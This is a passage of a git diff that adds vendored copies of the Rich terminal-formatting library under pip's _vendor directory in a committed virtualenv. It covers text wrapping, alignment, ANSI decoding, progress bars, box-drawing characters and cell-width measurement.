loop_last +from .cells import cell_len, chop_cells + +re_word = re.compile(r"\s*\S+\s*") + + +def words(text: str) -> Iterable[tuple[int, int, str]]: + """Yields each word from the text as a tuple + containing (start_index, end_index, word). A "word" in this context may + include the actual word and any whitespace to the right. + """ + position = 0 + word_match = re_word.match(text, position) + while word_match is not None: + start, end = word_match.span() + word = word_match.group(0) + yield start, end, word + word_match = re_word.match(text, end) + + +def divide_line(text: str, width: int, fold: bool = True) -> list[int]: + """Given a string of text, and a width (measured in cells), return a list + of cell offsets which the string should be split at in order for it to fit + within the given width. + + Args: + text: The text to examine. + width: The available cell width. + fold: If True, words longer than `width` will be folded onto a new line. + + Returns: + A list of indices to break the line at. + """ + break_positions: list[int] = [] # offsets to insert the breaks at + append = break_positions.append + cell_offset = 0 + _cell_len = cell_len + + for start, _end, word in words(text): + word_length = _cell_len(word.rstrip()) + remaining_space = width - cell_offset + word_fits_remaining_space = remaining_space >= word_length + + if word_fits_remaining_space: + # Simplest case - the word fits within the remaining width for this line. + cell_offset += _cell_len(word) + else: + # Not enough space remaining for this word on the current line. + if word_length > width: + # The word doesn't fit on any line, so we can't simply + # place it on the next line... + if fold: + # Fold the word across multiple lines. + folded_word = chop_cells(word, width=width) + for last, line in loop_last(folded_word): + if start: + append(start) + if last: + cell_offset = _cell_len(line) + else: + start += len(line) + else: + # Folding isn't allowed, so crop the word. + if start: + append(start) + cell_offset = _cell_len(word) + elif cell_offset and start: + # The word doesn't fit within the remaining space on the current + # line, but it *can* fit on to the next (empty) line. + append(start) + cell_offset = _cell_len(word) + + return break_positions + + +if __name__ == "__main__": # pragma: no cover + from .console import Console + + console = Console(width=10) + console.print("12345 abcdefghijklmnopqrstuvwyxzABCDEFGHIJKLMNOPQRSTUVWXYZ 12345") + print(chop_cells("abcdefghijklmnopqrstuvwxyz", 10)) + + console = Console(width=20) + console.rule() + console.print("TextualはPythonの高速アプリケーション開発フレームワークです") + + console.rule() + console.print("アプリケーションは1670万色を使用でき") diff --git a/venv/Lib/site-packages/pip/_vendor/rich/abc.py b/venv/Lib/site-packages/pip/_vendor/rich/abc.py new file mode 100644 index 00000000000..e6e498efabf --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/abc.py @@ -0,0 +1,33 @@ +from abc import ABC + + +class RichRenderable(ABC): + """An abstract base class for Rich renderables. + + Note that there is no need to extend this class, the intended use is to check if an + object supports the Rich renderable protocol. For example:: + + if isinstance(my_object, RichRenderable): + console.print(my_object) + + """ + + @classmethod + def __subclasshook__(cls, other: type) -> bool: + """Check if this class supports the rich render protocol.""" + return hasattr(other, "__rich_console__") or hasattr(other, "__rich__") + + +if __name__ == "__main__": # pragma: no cover + from pip._vendor.rich.text import Text + + t = Text() + print(isinstance(Text, RichRenderable)) + print(isinstance(t, RichRenderable)) + + class Foo: + pass + + f = Foo() + print(isinstance(f, RichRenderable)) + print(isinstance("", RichRenderable)) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/align.py b/venv/Lib/site-packages/pip/_vendor/rich/align.py new file mode 100644 index 00000000000..f7b734fd728 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/align.py @@ -0,0 +1,311 @@ +import sys +from itertools import chain +from typing import TYPE_CHECKING, Iterable, Optional + +if sys.version_info >= (3, 8): + from typing import Literal +else: + from pip._vendor.typing_extensions import Literal # pragma: no cover + +from .constrain import Constrain +from .jupyter import JupyterMixin +from .measure import Measurement +from .segment import Segment +from .style import StyleType + +if TYPE_CHECKING: + from .console import Console, ConsoleOptions, RenderableType, RenderResult + +AlignMethod = Literal["left", "center", "right"] +VerticalAlignMethod = Literal["top", "middle", "bottom"] + + +class Align(JupyterMixin): + """Align a renderable by adding spaces if necessary. + + Args: + renderable (RenderableType): A console renderable. + align (AlignMethod): One of "left", "center", or "right"" + style (StyleType, optional): An optional style to apply to the background. + vertical (Optional[VerticalAlignMethod], optional): Optional vertical align, one of "top", "middle", or "bottom". Defaults to None. + pad (bool, optional): Pad the right with spaces. Defaults to True. + width (int, optional): Restrict contents to given width, or None to use default width. Defaults to None. + height (int, optional): Set height of align renderable, or None to fit to contents. Defaults to None. + + Raises: + ValueError: if ``align`` is not one of the expected values. + """ + + def __init__( + self, + renderable: "RenderableType", + align: AlignMethod = "left", + style: Optional[StyleType] = None, + *, + vertical: Optional[VerticalAlignMethod] = None, + pad: bool = True, + width: Optional[int] = None, + height: Optional[int] = None, + ) -> None: + if align not in ("left", "center", "right"): + raise ValueError( + f'invalid value for align, expected "left", "center", or "right" (not {align!r})' + ) + if vertical is not None and vertical not in ("top", "middle", "bottom"): + raise ValueError( + f'invalid value for vertical, expected "top", "middle", or "bottom" (not {vertical!r})' + ) + self.renderable = renderable + self.align = align + self.style = style + self.vertical = vertical + self.pad = pad + self.width = width + self.height = height + + def __repr__(self) -> str: + return f"Align({self.renderable!r}, {self.align!r})" + + @classmethod + def left( + cls, + renderable: "RenderableType", + style: Optional[StyleType] = None, + *, + vertical: Optional[VerticalAlignMethod] = None, + pad: bool = True, + width: Optional[int] = None, + height: Optional[int] = None, + ) -> "Align": + """Align a renderable to the left.""" + return cls( + renderable, + "left", + style=style, + vertical=vertical, + pad=pad, + width=width, + height=height, + ) + + @classmethod + def center( + cls, + renderable: "RenderableType", + style: Optional[StyleType] = None, + *, + vertical: Optional[VerticalAlignMethod] = None, + pad: bool = True, + width: Optional[int] = None, + height: Optional[int] = None, + ) -> "Align": + """Align a renderable to the center.""" + return cls( + renderable, + "center", + style=style, + vertical=vertical, + pad=pad, + width=width, + height=height, + ) + + @classmethod + def right( + cls, + renderable: "RenderableType", + style: Optional[StyleType] = None, + *, + vertical: Optional[VerticalAlignMethod] = None, + pad: bool = True, + width: Optional[int] = None, + height: Optional[int] = None, + ) -> "Align": + """Align a renderable to the right.""" + return cls( + renderable, + "right", + style=style, + vertical=vertical, + pad=pad, + width=width, + height=height, + ) + + def __rich_console__( + self, console: "Console", options: "ConsoleOptions" + ) -> "RenderResult": + align = self.align + width = console.measure(self.renderable, options=options).maximum + rendered = console.render( + Constrain( + self.renderable, width if self.width is None else min(width, self.width) + ), + options.update(height=None), + ) + lines = list(Segment.split_lines(rendered)) + width, height = Segment.get_shape(lines) + lines = Segment.set_shape(lines, width, height) + new_line = Segment.line() + excess_space = options.max_width - width + style = console.get_style(self.style) if self.style is not None else None + + def generate_segments() -> Iterable[Segment]: + if excess_space <= 0: + # Exact fit + for line in lines: + yield from line + yield new_line + + elif align == "left": + # Pad on the right + pad = Segment(" " * excess_space, style) if self.pad else None + for line in lines: + yield from line + if pad: + yield pad + yield new_line + + elif align == "center": + # Pad left and right + left = excess_space // 2 + pad = Segment(" " * left, style) + pad_right = ( + Segment(" " * (excess_space - left), style) if self.pad else None + ) + for line in lines: + if left: + yield pad + yield from line + if pad_right: + yield pad_right + yield new_line + + elif align == "right": + # Padding on left + pad = Segment(" " * excess_space, style) + for line in lines: + yield pad + yield from line + yield new_line + + blank_line = ( + Segment(f"{' ' * (self.width or options.max_width)}\n", style) + if self.pad + else Segment("\n") + ) + + def blank_lines(count: int) -> Iterable[Segment]: + if count > 0: + for _ in range(count): + yield blank_line + + vertical_height = self.height or options.height + iter_segments: Iterable[Segment] + if self.vertical and vertical_height is not None: + if self.vertical == "top": + bottom_space = vertical_height - height + iter_segments = chain(generate_segments(), blank_lines(bottom_space)) + elif self.vertical == "middle": + top_space = (vertical_height - height) // 2 + bottom_space = vertical_height - top_space - height + iter_segments = chain( + blank_lines(top_space), + generate_segments(), + blank_lines(bottom_space), + ) + else: # self.vertical == "bottom": + top_space = vertical_height - height + iter_segments = chain(blank_lines(top_space), generate_segments()) + else: + iter_segments = generate_segments() + if self.style: + style = console.get_style(self.style) + iter_segments = Segment.apply_style(iter_segments, style) + yield from iter_segments + + def __rich_measure__( + self, console: "Console", options: "ConsoleOptions" + ) -> Measurement: + measurement = Measurement.get(console, options, self.renderable) + return measurement + + +class VerticalCenter(JupyterMixin): + """Vertically aligns a renderable. + + Warn: + This class is deprecated and may be removed in a future version. Use Align class with + `vertical="middle"`. + + Args: + renderable (RenderableType): A renderable object. + """ + + def __init__( + self, + renderable: "RenderableType", + style: Optional[StyleType] = None, + ) -> None: + self.renderable = renderable + self.style = style + + def __repr__(self) -> str: + return f"VerticalCenter({self.renderable!r})" + + def __rich_console__( + self, console: "Console", options: "ConsoleOptions" + ) -> "RenderResult": + style = console.get_style(self.style) if self.style is not None else None + lines = console.render_lines( + self.renderable, options.update(height=None), pad=False + ) + width, _height = Segment.get_shape(lines) + new_line = Segment.line() + height = options.height or options.size.height + top_space = (height - len(lines)) // 2 + bottom_space = height - top_space - len(lines) + blank_line = Segment(f"{' ' * width}", style) + + def blank_lines(count: int) -> Iterable[Segment]: + for _ in range(count): + yield blank_line + yield new_line + + if top_space > 0: + yield from blank_lines(top_space) + for line in lines: + yield from line + yield new_line + if bottom_space > 0: + yield from blank_lines(bottom_space) + + def __rich_measure__( + self, console: "Console", options: "ConsoleOptions" + ) -> Measurement: + measurement = Measurement.get(console, options, self.renderable) + return measurement + + +if __name__ == "__main__": # pragma: no cover + from pip._vendor.rich.console import Console, Group + from pip._vendor.rich.highlighter import ReprHighlighter + from pip._vendor.rich.panel import Panel + + highlighter = ReprHighlighter() + console = Console() + + panel = Panel( + Group( + Align.left(highlighter("align='left'")), + Align.center(highlighter("align='center'")), + Align.right(highlighter("align='right'")), + ), + width=60, + style="on dark_blue", + title="Align", + ) + + console.print( + Align.center(panel, vertical="middle", style="on red", height=console.height) + ) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/ansi.py b/venv/Lib/site-packages/pip/_vendor/rich/ansi.py new file mode 100644 index 00000000000..66365e65360 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/ansi.py @@ -0,0 +1,240 @@ +import re +import sys +from contextlib import suppress +from typing import Iterable, NamedTuple, Optional + +from .color import Color +from .style import Style +from .text import Text + +re_ansi = re.compile( + r""" +(?:\x1b\](.*?)\x1b\\)| +(?:\x1b([(@-Z\\-_]|\[[0-?]*[ -/]*[@-~])) +""", + re.VERBOSE, +) + + +class _AnsiToken(NamedTuple): + """Result of ansi tokenized string.""" + + plain: str = "" + sgr: Optional[str] = "" + osc: Optional[str] = "" + + +def _ansi_tokenize(ansi_text: str) -> Iterable[_AnsiToken]: + """Tokenize a string in to plain text and ANSI codes. + + Args: + ansi_text (str): A String containing ANSI codes. + + Yields: + AnsiToken: A named tuple of (plain, sgr, osc) + """ + + position = 0 + sgr: Optional[str] + osc: Optional[str] + for match in re_ansi.finditer(ansi_text): + start, end = match.span(0) + osc, sgr = match.groups() + if start > position: + yield _AnsiToken(ansi_text[position:start]) + if sgr: + if sgr == "(": + position = end + 1 + continue + if sgr.endswith("m"): + yield _AnsiToken("", sgr[1:-1], osc) + else: + yield _AnsiToken("", sgr, osc) + position = end + if position < len(ansi_text): + yield _AnsiToken(ansi_text[position:]) + + +SGR_STYLE_MAP = { + 1: "bold", + 2: "dim", + 3: "italic", + 4: "underline", + 5: "blink", + 6: "blink2", + 7: "reverse", + 8: "conceal", + 9: "strike", + 21: "underline2", + 22: "not dim not bold", + 23: "not italic", + 24: "not underline", + 25: "not blink", + 26: "not blink2", + 27: "not reverse", + 28: "not conceal", + 29: "not strike", + 30: "color(0)", + 31: "color(1)", + 32: "color(2)", + 33: "color(3)", + 34: "color(4)", + 35: "color(5)", + 36: "color(6)", + 37: "color(7)", + 39: "default", + 40: "on color(0)", + 41: "on color(1)", + 42: "on color(2)", + 43: "on color(3)", + 44: "on color(4)", + 45: "on color(5)", + 46: "on color(6)", + 47: "on color(7)", + 49: "on default", + 51: "frame", + 52: "encircle", + 53: "overline", + 54: "not frame not encircle", + 55: "not overline", + 90: "color(8)", + 91: "color(9)", + 92: "color(10)", + 93: "color(11)", + 94: "color(12)", + 95: "color(13)", + 96: "color(14)", + 97: "color(15)", + 100: "on color(8)", + 101: "on color(9)", + 102: "on color(10)", + 103: "on color(11)", + 104: "on color(12)", + 105: "on color(13)", + 106: "on color(14)", + 107: "on color(15)", +} + + +class AnsiDecoder: + """Translate ANSI code in to styled Text.""" + + def __init__(self) -> None: + self.style = Style.null() + + def decode(self, terminal_text: str) -> Iterable[Text]: + """Decode ANSI codes in an iterable of lines. + + Args: + lines (Iterable[str]): An iterable of lines of terminal output. + + Yields: + Text: Marked up Text. + """ + for line in terminal_text.splitlines(): + yield self.decode_line(line) + + def decode_line(self, line: str) -> Text: + """Decode a line containing ansi codes. + + Args: + line (str): A line of terminal output. + + Returns: + Text: A Text instance marked up according to ansi codes. + """ + from_ansi = Color.from_ansi + from_rgb = Color.from_rgb + _Style = Style + text = Text() + append = text.append + line = line.rsplit("\r", 1)[-1] + for plain_text, sgr, osc in _ansi_tokenize(line): + if plain_text: + append(plain_text, self.style or None) + elif osc is not None: + if osc.startswith("8;"): + _params, semicolon, link = osc[2:].partition(";") + if semicolon: + self.style = self.style.update_link(link or None) + elif sgr is not None: + # Translate in to semi-colon separated codes + # Ignore invalid codes, because we want to be lenient + codes = [ + min(255, int(_code) if _code else 0) + for _code in sgr.split(";") + if _code.isdigit() or _code == "" + ] + iter_codes = iter(codes) + for code in iter_codes: + if code == 0: + # reset + self.style = _Style.null() + elif code in SGR_STYLE_MAP: + # styles + self.style += _Style.parse(SGR_STYLE_MAP[code]) + elif code == 38: + #  Foreground + with suppress(StopIteration): + color_type = next(iter_codes) + if color_type == 5: + self.style += _Style.from_color( + from_ansi(next(iter_codes)) + ) + elif color_type == 2: + self.style += _Style.from_color( + from_rgb( + next(iter_codes), + next(iter_codes), + next(iter_codes), + ) + ) + elif code == 48: + # Background + with suppress(StopIteration): + color_type = next(iter_codes) + if color_type == 5: + self.style += _Style.from_color( + None, from_ansi(next(iter_codes)) + ) + elif color_type == 2: + self.style += _Style.from_color( + None, + from_rgb( + next(iter_codes), + next(iter_codes), + next(iter_codes), + ), + ) + + return text + + +if sys.platform != "win32" and __name__ == "__main__": # pragma: no cover + import io + import os + import pty + import sys + + decoder = AnsiDecoder() + + stdout = io.BytesIO() + + def read(fd: int) -> bytes: + data = os.read(fd, 1024) + stdout.write(data) + return data + + pty.spawn(sys.argv[1:], read) + + from .console import Console + + console = Console(record=True) + + stdout_result = stdout.getvalue().decode("utf-8") + print(stdout_result) + + for line in decoder.decode(stdout_result): + console.print(line) + + console.save_html("stdout.html") diff --git a/venv/Lib/site-packages/pip/_vendor/rich/bar.py b/venv/Lib/site-packages/pip/_vendor/rich/bar.py new file mode 100644 index 00000000000..022284b5788 --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/bar.py @@ -0,0 +1,93 @@ +from typing import Optional, Union + +from .color import Color +from .console import Console, ConsoleOptions, RenderResult +from .jupyter import JupyterMixin +from .measure import Measurement +from .segment import Segment +from .style import Style + +# There are left-aligned characters for 1/8 to 7/8, but +# the right-aligned characters exist only for 1/8 and 4/8. +BEGIN_BLOCK_ELEMENTS = ["█", "█", "█", "▐", "▐", "▐", "▕", "▕"] +END_BLOCK_ELEMENTS = [" ", "▏", "▎", "▍", "▌", "▋", "▊", "▉"] +FULL_BLOCK = "█" + + +class Bar(JupyterMixin): + """Renders a solid block bar. + + Args: + size (float): Value for the end of the bar. + begin (float): Begin point (between 0 and size, inclusive). + end (float): End point (between 0 and size, inclusive). + width (int, optional): Width of the bar, or ``None`` for maximum width. Defaults to None. + color (Union[Color, str], optional): Color of the bar. Defaults to "default". + bgcolor (Union[Color, str], optional): Color of bar background. Defaults to "default". + """ + + def __init__( + self, + size: float, + begin: float, + end: float, + *, + width: Optional[int] = None, + color: Union[Color, str] = "default", + bgcolor: Union[Color, str] = "default", + ): + self.size = size + self.begin = max(begin, 0) + self.end = min(end, size) + self.width = width + self.style = Style(color=color, bgcolor=bgcolor) + + def __repr__(self) -> str: + return f"Bar({self.size}, {self.begin}, {self.end})" + + def __rich_console__( + self, console: Console, options: ConsoleOptions + ) -> RenderResult: + width = min( + self.width if self.width is not None else options.max_width, + options.max_width, + ) + + if self.begin >= self.end: + yield Segment(" " * width, self.style) + yield Segment.line() + return + + prefix_complete_eights = int(width * 8 * self.begin / self.size) + prefix_bar_count = prefix_complete_eights // 8 + prefix_eights_count = prefix_complete_eights % 8 + + body_complete_eights = int(width * 8 * self.end / self.size) + body_bar_count = body_complete_eights // 8 + body_eights_count = body_complete_eights % 8 + + # When start and end fall into the same cell, we ideally should render + # a symbol that's "center-aligned", but there is no good symbol in Unicode. + # In this case, we fall back to right-aligned block symbol for simplicity. + + prefix = " " * prefix_bar_count + if prefix_eights_count: + prefix += BEGIN_BLOCK_ELEMENTS[prefix_eights_count] + + body = FULL_BLOCK * body_bar_count + if body_eights_count: + body += END_BLOCK_ELEMENTS[body_eights_count] + + suffix = " " * (width - len(body)) + + yield Segment(prefix + body[len(prefix) :] + suffix, self.style) + yield Segment.line() + + def __rich_measure__( + self, console: Console, options: ConsoleOptions + ) -> Measurement: + return ( + Measurement(self.width, self.width) + if self.width is not None + else Measurement(4, options.max_width) + ) diff --git a/venv/Lib/site-packages/pip/_vendor/rich/box.py b/venv/Lib/site-packages/pip/_vendor/rich/box.py new file mode 100644 index 00000000000..0511a9e48ba --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/box.py @@ -0,0 +1,480 @@ +import sys +from typing import TYPE_CHECKING, Iterable, List + +if sys.version_info >= (3, 8): + from typing import Literal +else: + from pip._vendor.typing_extensions import Literal # pragma: no cover + + +from ._loop import loop_last + +if TYPE_CHECKING: + from pip._vendor.rich.console import ConsoleOptions + + +class Box: + """Defines characters to render boxes. + + ┌─┬┐ top + │ ││ head + ├─┼┤ head_row + │ ││ mid + ├─┼┤ row + ├─┼┤ foot_row + │ ││ foot + └─┴┘ bottom + + Args: + box (str): Characters making up box. + ascii (bool, optional): True if this box uses ascii characters only. Default is False. + """ + + def __init__(self, box: str, *, ascii: bool = False) -> None: + self._box = box + self.ascii = ascii + line1, line2, line3, line4, line5, line6, line7, line8 = box.splitlines() + # top + self.top_left, self.top, self.top_divider, self.top_right = iter(line1) + # head + self.head_left, _, self.head_vertical, self.head_right = iter(line2) + # head_row + ( + self.head_row_left, + self.head_row_horizontal, + self.head_row_cross, + self.head_row_right, + ) = iter(line3) + + # mid + self.mid_left, _, self.mid_vertical, self.mid_right = iter(line4) + # row + self.row_left, self.row_horizontal, self.row_cross, self.row_right = iter(line5) + # foot_row + ( + self.foot_row_left, + self.foot_row_horizontal, + self.foot_row_cross, + self.foot_row_right, + ) = iter(line6) + # foot + self.foot_left, _, self.foot_vertical, self.foot_right = iter(line7) + # bottom + self.bottom_left, self.bottom, self.bottom_divider, self.bottom_right = iter( + line8 + ) + + def __repr__(self) -> str: + return "Box(...)" + + def __str__(self) -> str: + return self._box + + def substitute(self, options: "ConsoleOptions", safe: bool = True) -> "Box": + """Substitute this box for another if it won't render due to platform issues. + + Args: + options (ConsoleOptions): Console options used in rendering. + safe (bool, optional): Substitute this for another Box if there are known problems + displaying on the platform (currently only relevant on Windows). Default is True. + + Returns: + Box: A different Box or the same Box. + """ + box = self + if options.legacy_windows and safe: + box = LEGACY_WINDOWS_SUBSTITUTIONS.get(box, box) + if options.ascii_only and not box.ascii: + box = ASCII + return box + + def get_plain_headed_box(self) -> "Box": + """If this box uses special characters for the borders of the header, then + return the equivalent box that does not. + + Returns: + Box: The most similar Box that doesn't use header-specific box characters. + If the current Box already satisfies this criterion, then it's returned. + """ + return PLAIN_HEADED_SUBSTITUTIONS.get(self, self) + + def get_top(self, widths: Iterable[int]) -> str: + """Get the top of a simple box. + + Args: + widths (List[int]): Widths of columns. + + Returns: + str: A string of box characters. + """ + + parts: List[str] = [] + append = parts.append + append(self.top_left) + for last, width in loop_last(widths): + append(self.top * width) + if not last: + append(self.top_divider) + append(self.top_right) + return "".join(parts) + + def get_row( + self, + widths: Iterable[int], + level: Literal["head", "row", "foot", "mid"] = "row", + edge: bool = True, + ) -> str: + """Get the top of a simple box. + + Args: + width (List[int]): Widths of columns. + + Returns: + str: A string of box characters. + """ + if level == "head": + left = self.head_row_left + horizontal = self.head_row_horizontal + cross = self.head_row_cross + right = self.head_row_right + elif level == "row": + left = self.row_left + horizontal = self.row_horizontal + cross = self.row_cross + right = self.row_right + elif level == "mid": + left = self.mid_left + horizontal = " " + cross = self.mid_vertical + right = self.mid_right + elif level == "foot": + left = self.foot_row_left + horizontal = self.foot_row_horizontal + cross = self.foot_row_cross + right = self.foot_row_right + else: + raise ValueError("level must be 'head', 'row' or 'foot'") + + parts: List[str] = [] + append = parts.append + if edge: + append(left) + for last, width in loop_last(widths): + append(horizontal * width) + if not last: + append(cross) + if edge: + append(right) + return "".join(parts) + + def get_bottom(self, widths: Iterable[int]) -> str: + """Get the bottom of a simple box. + + Args: + widths (List[int]): Widths of columns. + + Returns: + str: A string of box characters. + """ + + parts: List[str] = [] + append = parts.append + append(self.bottom_left) + for last, width in loop_last(widths): + append(self.bottom * width) + if not last: + append(self.bottom_divider) + append(self.bottom_right) + return "".join(parts) + + +# fmt: off +ASCII: Box = Box( + "+--+\n" + "| ||\n" + "|-+|\n" + "| ||\n" + "|-+|\n" + "|-+|\n" + "| ||\n" + "+--+\n", + ascii=True, +) + +ASCII2: Box = Box( + "+-++\n" + "| ||\n" + "+-++\n" + "| ||\n" + "+-++\n" + "+-++\n" + "| ||\n" + "+-++\n", + ascii=True, +) + +ASCII_DOUBLE_HEAD: Box = Box( + "+-++\n" + "| ||\n" + "+=++\n" + "| ||\n" + "+-++\n" + "+-++\n" + "| ||\n" + "+-++\n", + ascii=True, +) + +SQUARE: Box = Box( + "┌─┬┐\n" + "│ ││\n" + "├─┼┤\n" + "│ ││\n" + "├─┼┤\n" + "├─┼┤\n" + "│ ││\n" + "└─┴┘\n" +) + +SQUARE_DOUBLE_HEAD: Box = Box( + "┌─┬┐\n" + "│ ││\n" + "╞═╪╡\n" + "│ ││\n" + "├─┼┤\n" + "├─┼┤\n" + "│ ││\n" + "└─┴┘\n" +) + +MINIMAL: Box = Box( + " ╷ \n" + " │ \n" + "╶─┼╴\n" + " │ \n" + "╶─┼╴\n" + "╶─┼╴\n" + " │ \n" + " ╵ \n" +) + + +MINIMAL_HEAVY_HEAD: Box = Box( + " ╷ \n" + " │ \n" + "╺━┿╸\n" + " │ \n" + "╶─┼╴\n" + "╶─┼╴\n" + " │ \n" + " ╵ \n" +) + +MINIMAL_DOUBLE_HEAD: Box = Box( + " ╷ \n" + " │ \n" + " ═╪ \n" + " │ \n" + " ─┼ \n" + " ─┼ \n" + " │ \n" + " ╵ \n" +) + + +SIMPLE: Box = Box( + " \n" + " \n" + " ── \n" + " \n" + " \n" + " ── \n" + " \n" + " \n" +) + +SIMPLE_HEAD: Box = Box( + " \n" + " \n" + " ── \n" + " \n" + " \n" + " \n" + " \n" + " \n" +) + + +SIMPLE_HEAVY: Box = Box( + " \n" + " \n" + " ━━ \n" + " \n" + " \n" + " ━━ \n" + " \n" + " \n" +) + + +HORIZONTALS: Box = Box( + " ── \n" + " \n" + " ── \n" + " \n" + " ── \n" + " ── \n" + " \n" + " ── \n" +) + +ROUNDED: Box = Box( + "╭─┬╮\n" + "│ ││\n" + "├─┼┤\n" + "│ ││\n" + "├─┼┤\n" + "├─┼┤\n" + "│ ││\n" + "╰─┴╯\n" +) + +HEAVY: Box = Box( + "┏━┳┓\n" + "┃ ┃┃\n" + "┣━╋┫\n" + "┃ ┃┃\n" + "┣━╋┫\n" + "┣━╋┫\n" + "┃ ┃┃\n" + "┗━┻┛\n" +) + +HEAVY_EDGE: Box = Box( + "┏━┯┓\n" + "┃ │┃\n" + "┠─┼┨\n" + "┃ │┃\n" + "┠─┼┨\n" + "┠─┼┨\n" + "┃ │┃\n" + "┗━┷┛\n" +) + +HEAVY_HEAD: Box = Box( + "┏━┳┓\n" + "┃ ┃┃\n" + "┡━╇┩\n" + "│ ││\n" + "├─┼┤\n" + "├─┼┤\n" + "│ ││\n" + "└─┴┘\n" +) + +DOUBLE: Box = Box( + "╔═╦╗\n" + "║ ║║\n" + "╠═╬╣\n" + "║ ║║\n" + "╠═╬╣\n" + "╠═╬╣\n" + "║ ║║\n" + "╚═╩╝\n" +) + +DOUBLE_EDGE: Box = Box( + "╔═╤╗\n" + "║ │║\n" + "╟─┼╢\n" + "║ │║\n" + "╟─┼╢\n" + "╟─┼╢\n" + "║ │║\n" + "╚═╧╝\n" +) + +MARKDOWN: Box = Box( + " \n" + "| ||\n" + "|-||\n" + "| ||\n" + "|-||\n" + "|-||\n" + "| ||\n" + " \n", + ascii=True, +) +# fmt: on + +# Map Boxes that don't render with raster fonts on to equivalent that do +LEGACY_WINDOWS_SUBSTITUTIONS = { + ROUNDED: SQUARE, + MINIMAL_HEAVY_HEAD: MINIMAL, + SIMPLE_HEAVY: SIMPLE, + HEAVY: SQUARE, + HEAVY_EDGE: SQUARE, + HEAVY_HEAD: SQUARE, +} + +# Map headed boxes to their headerless equivalents +PLAIN_HEADED_SUBSTITUTIONS = { + HEAVY_HEAD: SQUARE, + SQUARE_DOUBLE_HEAD: SQUARE, + MINIMAL_DOUBLE_HEAD: MINIMAL, + MINIMAL_HEAVY_HEAD: MINIMAL, + ASCII_DOUBLE_HEAD: ASCII2, +} + + +if __name__ == "__main__": # pragma: no cover + from pip._vendor.rich.columns import Columns + from pip._vendor.rich.panel import Panel + + from . import box as box + from .console import Console + from .table import Table + from .text import Text + + console = Console(record=True) + + BOXES = [ + "ASCII", + "ASCII2", + "ASCII_DOUBLE_HEAD", + "SQUARE", + "SQUARE_DOUBLE_HEAD", + "MINIMAL", + "MINIMAL_HEAVY_HEAD", + "MINIMAL_DOUBLE_HEAD", + "SIMPLE", + "SIMPLE_HEAD", + "SIMPLE_HEAVY", + "HORIZONTALS", + "ROUNDED", + "HEAVY", + "HEAVY_EDGE", + "HEAVY_HEAD", + "DOUBLE", + "DOUBLE_EDGE", + "MARKDOWN", + ] + + console.print(Panel("[bold green]Box Constants", style="green"), justify="center") + console.print() + + columns = Columns(expand=True, padding=2) + for box_name in sorted(BOXES): + table = Table( + show_footer=True, style="dim", border_style="not dim", expand=True + ) + table.add_column("Header 1", "Footer 1") + table.add_column("Header 2", "Footer 2") + table.add_row("Cell", "Cell") + table.add_row("Cell", "Cell") + table.box = getattr(box, box_name) + table.title = Text(f"box.{box_name}", style="magenta") + columns.add_renderable(table) + console.print(columns) + + # console.save_svg("box.svg") diff --git a/venv/Lib/site-packages/pip/_vendor/rich/cells.py b/venv/Lib/site-packages/pip/_vendor/rich/cells.py new file mode 100644 index 00000000000..f85f928f75e --- /dev/null +++ b/venv/Lib/site-packages/pip/_vendor/rich/cells.py @@ -0,0 +1,167 @@ +from __future__ import annotations + +import re +from functools import lru_cache +from typing import Callable + +from ._cell_widths import CELL_WIDTHS + +# Regex to match sequence of the most common character ranges +_is_single_cell_widths = re.compile("^[\u0020-\u006f\u00a0\u02ff\u0370-\u0482]*$").match + + +@lru_cache(4096) +def cached_cell_len(text: str) -> int: + """Get the number of cells required to display text. + + This method always caches, which may use up a lot of memory. It is recommended to use + `cell_len` over this method. + + Args: + text (str): Text to display. + + Returns: + int: Get the number of cells required to display text. + """ + _get_size = get_character_cell_size + total_size = sum(_get_size(character) for character in text) + return total_size + + +def cell_len(text: str, _cell_len: Callable[[str], int] = cached_cell_len) -> int: + """Get the number of cells required to display text. + + Args: + text (str): Text to display. + + Returns: + int: Get the number of cells required to display text. + """ + if len(text) < 512: + return _cell_len(text) + _get_size = get_character_cell_size + total_size = sum(_get_size(character) for character in text) + return total_size + + +@lru_cache(maxsize=4096) +def get_character_cell_size(character: str) -> int: + """Get the cell size of a character. + + Args: + character (str): A single character. + + Returns: + int: Number of cells (0, 1 or 2) occupied by that character. + """ + return _get_codepoint_cell_size(ord(character)) + + +@lru_cache(maxsize=4096) +def _get_codepoint_cell_size(codepoint: int) -> int: + """Get the cell size of a character. + + Args: + codepoint (int): Codepoint of a character. + + Returns: + int: Number of cells (0, 1 or 2) occupied by that character. + """ + + _table = CELL_WIDTHS + lower_bound = 0 + upper_bound = len(_table) - 1 + index = (lower_bound + upper_bound) // 2 + while True: + start, end, width = _table[index] + if codepoint < start: + upper_bound = index - 1 + elif codepoint > end: + lower_bound = index + 1 + else: + return 0 if width == -1 else width + if upper_bound < lower_bound: + break + index = (lower_bound + upper_bound) // 2 + return 1 + + +def set_cell_size(text: str, total: int) -> str: + """Set the length of a string to fit within given number of cells.""" + + if _is_single_cell_widths(text): + size = len(text) + if size < total: + return text + " " * (total - size) + return text[:total] + + if total <= 0: + return "" + cell_size = cell_len(text) + if cell_size == total: + return text + if cell_size < total: + return text + " " * (total - cell_size) + + start = 0 + end = len(text) + + # Binary search until we find the right size + while True: + pos = (start + end) // 2 + before = text[: pos + 1] + before_len = cell_len(before) + if before_len == total + 1 and cell_len(before[-1]) == 2: + return before[:-1] + " " + if before_len == total: + return before + if before_len > total: + end = pos + else: + start = pos + + +def chop_cells( + text: str, + width: int, +) -> list[str]: + """Split text into lines such that each line fits within the available (cell) width. + + Args: + text: The text to fold such that it fits in the given width. + width: The width available (number of cells). + + Returns: + A list of strings such that each string in the list has cell width + less than or equal to the available width. + """ + _get_character_cell_size = get_character_cell_size + lines: list[list[str]] = [[]] + + append_new_line = lines.append + append_to_last_line = lines[-1].append + + total_width = 0 + + for character in text: + cell_width = _get_character_cell_size(character) + char_doesnt_fit = total_width + cell_width > width + + if char_doesnt_fit: + append_new_line([character]) + append_to_last_line = lines[-1].append + total_width = cell_width + else: + append_to_last_line(character) + total_width += cell_width + + return ["".join(line) for line in lines] + + +if __name__ == "__main__": # pragma: no cover + print(get_character_cell_size("😽")) + for line in 